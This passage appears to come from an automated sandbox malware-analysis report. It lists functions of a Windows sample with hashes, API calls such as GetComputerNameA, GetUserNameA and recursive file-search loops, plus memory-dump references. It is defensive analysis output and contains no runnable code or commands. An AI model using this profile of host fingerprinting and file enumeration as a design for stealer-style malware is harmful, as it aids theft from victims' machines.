Instruction ID: 4789421b03a09c5f5e48fd253f3d0a7485dd58affd61dc837b2cdfc0dee5cdf5
Opcode Fuzzy Hash: d525739dae4911de388b57159281daad603c49ee8704c2b9cb77a9c99ea69924
Instruction Fuzzy Hash: 78F082B1641318BBE7189AA8AC59FAEB7ECE705B15F301888F504E7380D5719F40DAA5

Function 00B48D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00B31B54,?,?,00B5564C,?,?,00B50E1F), ref: 00B48D9F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7927d59853c33ead1a5044a2ec8b1b2c011766c0acf086a01ca4bb4433adf1bf
Instruction ID: d91083a4bb5171f2565c4ae60254b0ee3e36e4f107b081101bf23ea7b32d380d
Opcode Fuzzy Hash: 7927d59853c33ead1a5044a2ec8b1b2c011766c0acf086a01ca4bb4433adf1bf
Instruction Fuzzy Hash: C4F0A570C05208EBDB04EFA4D9496DCBBB4EB10314F1081E9E866A73D0EB749B55EB81

Function 00B48DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 2bbf08a83a527c44457e1aff8cefba719e14abe38aa582ba83890fbe3fbd334f
Instruction ID: 199350954534f4f82d3f3f5609c5cdf273e81944003cd6c86ec30c4509960c20
Opcode Fuzzy Hash: 2bbf08a83a527c44457e1aff8cefba719e14abe38aa582ba83890fbe3fbd334f
Instruction Fuzzy Hash: A0E0123194034C7BDB51EB54CC96FAD737C9B44B01F004295BA0C5A1C0DE70AB858B91

Function 00B31190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B47910
Part of subcall function 00B478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B47917
Part of subcall function 00B478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B4792F

Part of subcall function 00B47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B311B7), ref: 00B47880
Part of subcall function 00B47850: RtlAllocateHeap.NTDLL(00000000), ref: 00B47887
Part of subcall function 00B47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B4789F

ExitProcess.KERNEL32 ref: 00B311C6

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 9573ce4f43ec900f2ee295e5a8768b3e1872e5251eafa47fdb1b5815a550c496
Instruction ID: 4f30777e8b652b9348877e76bdad865e5ebbca882ced913af55ece2d155c0314
Opcode Fuzzy Hash: 9573ce4f43ec900f2ee295e5a8768b3e1872e5251eafa47fdb1b5815a550c496
Instruction Fuzzy Hash: 9FE012B595430153CA0077BAAC0AB2E33DC9B54746F140CA4FA09D2202FE65EA40D676

Function 00B48E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B48E52

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0d02f323dfa255f15584a119b3c010f83a8b84555ce85c442b3e1980f3d7c4b5
Instruction ID: 489727f955720d565dee906323f821ce8e401e7b4e0f11aba9bbd3d2dda3acff
Opcode Fuzzy Hash: 0d02f323dfa255f15584a119b3c010f83a8b84555ce85c442b3e1980f3d7c4b5
Instruction Fuzzy Hash: F901E430A44208EBCF04CF98D585BACBBF1EF04308F2880D8E9056B390C775AB95EB95

Non-executed Functions

Function 00B438B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B438CC
FindFirstFileA.KERNEL32(?,?), ref: 00B438E3
lstrcat.KERNEL32(?,?), ref: 00B43935
StrCmpCA.SHLWAPI(?,00B50F70), ref: 00B43947
StrCmpCA.SHLWAPI(?,00B50F74), ref: 00B4395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00B43C67
FindClose.KERNEL32(000000FF), ref: 00B43C7C

Strings

%s\%s\%s, xrefs: 00B43A4A
%s\*, xrefs: 00B438C0
%s%s, xrefs: 00B43AAD
%s\%s, xrefs: 00B4397A
%s\%s, xrefs: 00B43A6F

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 675611092169db0877f50c1910e3b189b2996fce6467852b6f662f17e66251e2
Instruction ID: c5b8f7bcccec6fe394dca90057745e93b14555fe3083341c6bdadb405e230f31
Opcode Fuzzy Hash: 675611092169db0877f50c1910e3b189b2996fce6467852b6f662f17e66251e2
Instruction Fuzzy Hash: 41A121B1900318ABDB24EFA4DC85FEE73B8FB98701F0845C8A50D96141EB759B84DF62

Function 00B44570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B44580
RtlAllocateHeap.NTDLL(00000000), ref: 00B44587
wsprintfA.USER32 ref: 00B445A6
FindFirstFileA.KERNEL32(?,?), ref: 00B445BD
StrCmpCA.SHLWAPI(?,00B50FC4), ref: 00B445EB
StrCmpCA.SHLWAPI(?,00B50FC8), ref: 00B44601
FindNextFileA.KERNEL32(000000FF,?), ref: 00B4468B
FindClose.KERNEL32(000000FF), ref: 00B446A0
lstrcat.KERNEL32(?,014EE2E0), ref: 00B446C5
lstrcat.KERNEL32(?,014ED1D8), ref: 00B446D8
lstrlen.KERNEL32(?), ref: 00B446E5
lstrlen.KERNEL32(?), ref: 00B446F6

Strings

%s\*, xrefs: 00B4459A
%s\%s, xrefs: 00B4461B

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: c9bcd19dd196bfdbadb00e5cd99cdf4395ed4a20c37d0a3f1d6c89266be4d363
Instruction ID: d7aff0b6e678ece0ac79bb888d48c5660b5eb5e2ada7a947b9c95ab75ad2c140
Opcode Fuzzy Hash: c9bcd19dd196bfdbadb00e5cd99cdf4395ed4a20c37d0a3f1d6c89266be4d363
Instruction Fuzzy Hash: F25146B2550318ABC724EB74DC89FED73BCAB94301F4045C8B60DD6190EB749B848FA2

Function 00B3ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B3ED3E
FindFirstFileA.KERNEL32(?,?), ref: 00B3ED55
StrCmpCA.SHLWAPI(?,00B51538), ref: 00B3EDAB
StrCmpCA.SHLWAPI(?,00B5153C), ref: 00B3EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00B3F2AE
FindClose.KERNEL32(000000FF), ref: 00B3F2C3

Strings

%s\*.*, xrefs: 00B3ED32

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b85995a1038cf996c60bd1de2bcded6ab5628209c67521409cdcf73c60c3659b
Instruction ID: 693f086769bd21acb36b0a73c09fd4acaa945ef7aa12c8014f1e5be9f03572c4
Opcode Fuzzy Hash: b85995a1038cf996c60bd1de2bcded6ab5628209c67521409cdcf73c60c3659b
Instruction Fuzzy Hash: D0E1E172951118AAFB54FB64DC52EEE73B8EF54300F4045E9B50A62092EF306F8ADF52

Function 00EFE0CC Relevance: 16.6, Strings: 12, Instructions: 1625COMMON

Download Yara Rule

Strings

q+co, xrefs: 00EFE283
=Vz, xrefs: 00EFF015
U^/j, xrefs: 00EFF30C
S 7V, xrefs: 00EFE9D4
75?j, xrefs: 00EFE892
{_o, xrefs: 00EFE191
?m(, xrefs: 00EFEA67
ST?}, xrefs: 00EFEE98
{v, xrefs: 00EFF454
Q^/j, xrefs: 00EFF307
FA?m, xrefs: 00EFEB4E
/n|0, xrefs: 00EFF2C3

Memory Dump Source

Source File: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
